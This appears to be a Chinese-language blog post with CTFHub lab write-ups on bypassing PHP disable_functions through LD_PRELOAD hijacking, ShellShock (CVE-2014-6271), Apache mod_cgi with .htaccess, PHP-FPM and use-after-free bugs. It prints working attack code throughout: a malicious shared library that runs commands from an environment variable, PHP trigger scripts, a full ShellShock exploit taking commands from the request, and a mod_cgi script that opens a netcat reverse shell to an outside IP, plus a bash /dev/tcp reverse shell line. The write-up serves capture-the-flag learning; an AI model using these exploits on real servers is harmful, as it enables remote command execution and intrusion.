CTFHub-bypass_functions_disable

CTFHub-bypass_functions_disable

不得不说,Line师傅们在技能树里安排的这个分支真是太棒了!作为一名菜鸡,之前只是对bypass functions_disable有比较少并且不清晰的理解,但是刷了这部分题相当于系统地学习了一遍,帮助很大!

现在的web题中functions_disable很常见,很多时候都会苦于小马上传、蚁剑连上之后不能读flag文件内容、终端也执行不了命令…这个时候就肯定是进行了functions_disable,需要我们尝试各种姿势来bypass了。

通过这篇博客,好好记录一下各种绕过姿势的学习。

LD_PRELOAD

主要考察利用Linux的环境变量LD_PRELOAD来进行functions_disable的bypass。

关于利用LD_PRELOAD bypass

LD_PRELOAD是与载入函数库相关的环境变量,它的作用便是在程序运行前优先加载指定的函数库。

每个程序执行的时候会去动态链接库so文件里面找函数的位置,而我们的目的是让程序去执行我们自定义的动态链接库,这样就相当于在正常程序中进行function_disable禁用诸如system之前便执行了系统命令。

结合上述两点,我们就可以自定义一个so文件上传,然后再用一个php的脚本来激活并达到反弹shell的目的。

利用条件

  • 1、支持putenv
  • 2、支持mailimap_mailmb_send_mailerror_log
  • 3、存在可写的目录,需要上传.so文件

bypass流程

  • 1、在Linux下生成含有恶意代码的动态链接程序
  • 2、通过php脚本利用putenv来设置LD_PRELOAD,使得优先调用我们构造的恶意动态链接程序
  • 3、通过上述的php脚本触发恶意代码,以达到反弹shell的目的

首先,构造的动态链接程序的代码如下:

#include <stdlib.h>
__attribute__((constructor)) void Z2diMG4=(){
unsetenv("LD_PRELOAD");
if (getenv("cmd") != NULL){
system(getenv("cmd"));
}
else{
system("echo 'Hello' > /hackfile");
}
}

构造php触发脚本

这里常用的有两种方式:Sendmail+LD_PRELOADerror_log+LD_PRELOAD,如果服务端没有禁止mail的使用,就可以用前者,反之可以使用后者。

Sendmail+LD_PRELOAD:sendmail会调用geteuid(),因此可以进行劫持,详细知识参考这里

触发脚本如下:

<?php
putenv("cmd=ls > hackfile");
putenv("LD_PRELOAD=/tmp/hack.so");
mail("","","","","");
?>

so文件传到/tmp文件夹是因为这个文件夹用户是可以进行写入的,自己也可以找别的文件夹来灵活构造。

error_log+LD_PRELOAD:当题目环境不支持mail的时候,即可利用error_log来触发劫持,本题就需要用这种方法。

触发脚本如下:

<?php
putenv("cmd=ls > hackfile");
putenv("LD_PRELOAD=/tmp/hack.so");
error_log("a",1);
mail("a@localhost","","","","");
?>

另外当题目环境存在gnupg拓展的时候还可以利用php的gnupg_init()函数来触发,可以在phpinfo中看到,脚本如下:

<?php
putenv("cmd=ls > hackfile");
putenv("LD_PRELOAD=/tmp/hack.so");
gnupg_init();
?>

注意上面脚本中执行的命令是将ls执行的结果重定向到hackfile中来查看,当然也可以通过如下的代码来拿到shell:

<?php
putenv("cmd=/bin/bash -c 'bash -i >& /dev/tcp/host/port 0>&1'");
putenv("LD_PRELOAD=/tmp/hack.so");
mail("","","","","");
?>

解题

进入题目,源码中给了部分源码:

源码中提示已经存在小马了,且秘钥是ant,直接拿到蚁剑里连接能连上,但是flag文件无法访问,开终端也无法执行命令:

肯定是system被ban了,需要进行functions_disable的bypass。

有两种方法:利用蚁剑自带的插件或者自己手工bypass

利用蚁剑插件

这个有要求:自己的环境必须是Linux的,因为它要用gcc去编译so文件。

这个要求满足之后便可以在插件市场中下载functions_disablebypass的插件,然后选择LD_PRELOAD进行bypass就行了。

这里有官方详解

手动bypass

首先利用前面提到的C代码,利用下面两条命令生成so文件:

gcc -c -fPIC ld_preload.c -o ld_preload
gcc --share ld_preload -o ld_preload.so

同时用上述的代码构造好触发的php脚本:

<?php
//putenv("cmd=ls > hackfile");
putenv("cmd=/readflag > hackfile");
putenv("LD_PRELOAD=/tmp/ld_preload.so");
error_log("a",1);
mail("a@localhost","","","","");
?>

so文件上传到/tmp/文件夹下,触发脚本上传到/var/www/html/

然后在浏览器访问我们写入的触发脚本,然后回到蚁剑查看效果:

可以看到hackfile文件已经存在了,打开即可拿到flag

关于这种bypass姿势,网上很多,以下几个写的全面一些:
https://www.freebuf.com/articles/web/192052.html
https://www.dazhuanlan.com/2020/01/06/5e128867c6c74/

ShellShock

主要考察利用bash破壳漏洞来执行命令,进行functions_disable的bypass

关于利用ShellShock bypass

该姿势主要是借助了bash破壳(CVE-2014-6271)漏洞,直接导致我们可以利用mail()函数执行任意命令,绕过disable_functions。

利用条件

  • 1、支持putenv
  • 2、支持mailimap_mailmb_send_mailerror_log
  • 3、/bin/bash 存在 CVE-2014-6271 漏洞
  • 4、/bin/sh -> /bin/bash sh 默认的 shell 是 bash

bypass流程

  • 1、编写shellshock利用脚本并上传
  • 2、浏览器访问上传的脚本进行反弹shell

在网上找到了两版脚本代码:

//蚁剑提供的
<?php
function runcmd($c){
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if(substr($d, 0, 1) == "/" && function_exists('putenv') && (function_exists('error_log') || function_exists('mail'))){
if(strstr(readlink("/bin/sh"), "bash")!=FALSE){
$tmp=tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (function_exists('error_log')) {
error_log("a", 1);
}else{
mail("a@127.0.0.1", "", "", "-bv");
}
}else{
print("Not vuln (not bash)\n");
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output!=""){
print($output);
}else{
print("No output, or not vuln.");
}
}else{
print("不满足使用条件");
}
}

// runcmd("whoami"); // 要执行的命令
runcmd($_REQUEST["cmd"]); // ?cmd=whoami
?>

以及下面这个:

<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

然后通过蚁剑上传的web目录并访问,不出问题即可通过cmd传参执行命令。

解题

进入题目还是那个页面:

上蚁剑,同样不能通过终端执行命令,查看一下phpinfo:

发现是PHP5+版本,因此可以利用shellshock进行bypass,两种方式:蚁剑插件 or 手工…

利用蚁剑插件

参考这里

手工bypass

利用上述代码构造exp脚本,上传并访问,即可拿到shell,通过控制cmd参数内容来进行命令执行。

话说,我做这题的时候这样用没成功…后来用l3m0n师傅的脚本打通的…

这里提一下l3m0n师傅脚本中的FUZZ脚本(就是那个名为shell.php的脚本),上传这个脚本到web文件夹下,访问即可FUZZ出可以利用的点:

然后借助了apache_mod_cgi的解题方式最终拿到的flag。

可参考:
https://www.secpulse.com/archives/2300.html

Apache Mod CGI

主要考察利用apache mod_cgi模块结合.htaccess对functions_disable进行bypass

关于利用Apache_Mod_CGI bypass

在apache的WEB环境中,经常会使用.htaccess来确定某个目录下的URL重写规则,特别是一些开源的CMS或者框架当中经常会用到,比如著名的开源论坛discuz!,就可以通过.htaccess文件实现URL的静态化,大部分PHP框架,例如ThinkPHP和Laravel,在apache环境下会用.htaccess文件实现路由规则。但是如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。

利用条件

  • 1、Linux 操作系统
  • 2、Apache +PHP (apache 使用apache_mod_php)
  • 3、Apache 开启了 cgi, rewrite
  • 4、Web 目录给了 AllowOverride 权限

bypass流程

  • 1、phpinfo查看服务端的配置是否支持cgi
  • 2、配置.htaccess文件并上传
  • 3、上传反弹shell的文件

配置.htaccess文件如下(参考蚁剑给出的策略):

Options +ExecCGI
AddHandler cgi-script .ant

反弹shell文件代码:

#!/bin/sh
echo&&cd "/var/www/html";ls -al;echo [S];pwd;echo [E]
//注意是.ant后缀

最后访问shell.ant即可进行反弹shell。

这里也参考了l3m0n师傅github里关于bypass的脚本,详细完备,学到很多。

<?php
$cmd = "nc -c '/bin/bash' 172.16.15.1 4444"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text, $condition, $yes, $no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked'])) {
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
} else {
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled", $modcgi, "Yes", "No");
checkEnabled("Is writable", $writable, "Yes", "No");
checkEnabled("htaccess working", $htaccess, "Yes", "No");
if (!($modcgi && $writable && $htaccess)) {
echo "Error. All of the above must be true for the script to work!"; //abort if not
} else {
checkEnabled("Backing up .htaccess", copy(".htaccess", ".htaccess.bak"), "Suceeded! Saved in .htaccess.bak", "Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file", file_put_contents('.htaccess', "Options +ExecCGI\nAddHandler cgi-script .dizzle"), "Succeeded!", "Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file", file_put_contents('shell.dizzle', $shellfile), "Succeeded!", "Failed!"); //write the file
checkEnabled("Chmod 777", chmod("shell.dizzle", 0777), "Succeeded!", "Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
}
}
?>

本题解题的时候就是用的这个脚本。

解题

进入题目常规操作,蚁剑连接,注意连接的时候编码器需要选择base64。同样是终端输入命令无效。看一下phpinfo,可以发现,支持cgi,同时根据题目描述,利用cgi进行bypass,还是两种方式:蚁剑bypass插件 or 手工bypass。

利用蚁剑插件

模式选择Apache_mod_cgi即可,详细参考这里

手工bypass

前面说了,这题用的l3m0n师傅的脚本,直接将exp.php(前面贴的代码)上传到web文件夹,并访问该文件,回显如下:

再看蚁剑里的情况:

可以发现,多了几个文件,其中shell.dizzle文件里包含我们要执行的命令,我们通过更改该文件即可拿到flag(这里注意:/flag是644权限,www-data用户无法通过读文件的形式读到内容, 需要执行拥有 SUID 权限的 tac 命令(具体看 /start.sh)来获取 flag):

然后在浏览器访问shell.dizzle即可拿到flag了。

可参考:
https://www.anquanke.com/post/id/195686

Json Serializer UAF

利用Json序列化程序中的堆溢出进行bypass。

关于利用Json_Serializer_UAF bypass

PHP-Json-bypass漏洞利用json序列化程序中的堆溢出触发,以绕过functions_disable并执行系统命令,影响范围是Linuxphp 7.1-7.3

利用条件

  • 1、Linux 操作系统
  • 2、PHP 版本:7.1 - all versions to date、7.2 < 7.2.19 (released: 30 May 2019)、7.3 < 7.3.6 (released: 30 May 2019)

bypass流程

  • 1、查看PHP版本
  • 2、上传exp执行或者利用蚁剑插件bypass

这里附一个网上找到大师傅写的exp。我从师傅那里也fork了exp的库,可到我的github共同学习。

解题

进入题目,仍然给了小马,连接上仍然没有权限。可以选择利用蚁剑插件或者上面的exp进行bypass拿到www-data的用户权限。(再提示一下:bypass插件只有Linux下的蚁剑可用哦)

利用蚁剑插件

参考官方的wp,我们来实现一下。

连接上之后,在主页面选择绕过disable_functions插件:

然后选择Json Serializer UAF–>开始bypass

之后就能拿到www-data权限的shell了,注意这个用户权限不足以读取flag,因此cat命令读取不到flag,需要用tac命令来读取:

手工bypass

exp已经给了,自己可以尝试下,这两天事情多,几个题都是用蚁剑秒的。

参考:
https://www.anquanke.com/post/id/195686#h3-4
https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/6

PHP-FPM

在服务器支持PHP-FPM的情况下,利用PHP的内核变量进行bypass,原理与利用LD-PRELOAD进行bypass是一样的。

关于利用PHP-FPM bypass

Fastcgi 是一种通讯协议,用于Web服务器与后端语言的数据交换;PHP-FPM则是php环境中对Fastcgi协议的管理程序实现。

Nginx为fastcgi 提供了 fastcgi_param 来主要处理映射关系,将 Nginx 中的变量翻译成 PHP 能够理解的变量。

利用条件

  • 1、PHP必须运行于PHP-FPM/FastCGI模式下
  • 2、内核版本必须大于2.98
  • 3、open_basedir = off

bypass流程

  • 1、查看phpinfo是否支持PHP-FPM/FastCGI
  • 2、上蚁剑插件 or exp

解题

进入题目,一如既往蚁剑连接,这个题其实与蚁剑原版有点出入,蚁剑题解里写的本题环境是支持putenv的,那就和利用LD_PRELOAD绕过姿势一样了,但是试了,没成功,后来用蚁剑插件的时候发现了问题。

利用蚁剑插件

像前面的操作一样:选择上bypass插件 -> 选择模式 -> FPM/FCGI
这个时候发现问题所在了:

可以看到,本题环境并没有putenv,用LD_PRELOAD的姿势能过就怪了…

然后在地址里选上最后一个并开始:

成功执行之后,连接上题目环境,再刷新一下web目录看一下:

发现多了一个.antproxy.php没错!这就是蚁剑写入的另一个shell文件,我们回去把连接shell的url换成这个shell文件的url,链接密码不变,例如:

url:http://change-123456/shell.php,连接密码:cmd
改为
url:http://change-123456/.antproxy.php,连接密码:cmd

再次连接即可拿到拥有www-data权限的shell,注意此时cat命令还是读取不到flag的,需要用tac命令来拿到flag:

参考:
https://www.freebuf.com/articles/web/82801.html
https://www.anquanke.com/post/id/195686#h3-4

GC UAF

利用GC UAF导致的PHP代码执行漏洞进行bypass

关于利用GC UAF

PHP是一门托管型语言,在PHP编程中程序员不需要手工处理内存资源的分配与释放(使用C编写PHP或Zend扩展除外),这就意味着PHP本身实现了垃圾回收机制(Garbage Collection)。

该机制存在UAF漏洞,利用该漏洞可以执行命令等,也可以完成对functions_disable的bypass

利用条件

  • PHP版本满足:

    7.0 - all versions to date

    7.1 - all versions to date

    7.2 - all versions to date

    7.3 - all versions to date

bypass流程

  • 1、查看PHP版本信息
  • 2、利用蚁剑插件 or exp

解题

进入题目,蚁剑连接,查看phpinfo发现满足要求,那么即可利用该方式进行bypass

利用蚁剑插件

蚁剑连接之后,选择上bypass插件 -> 选择模式 -> GC UAF

然后点击开始,即可拿到www-data权限的shell,利用tac命令即可读到flag:

手工bypass

可以利用这个exp进行

参考:
https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/7
https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass

持续更新。。。

Comments


:D 一言句子获取中...

Loading...Wait a Minute!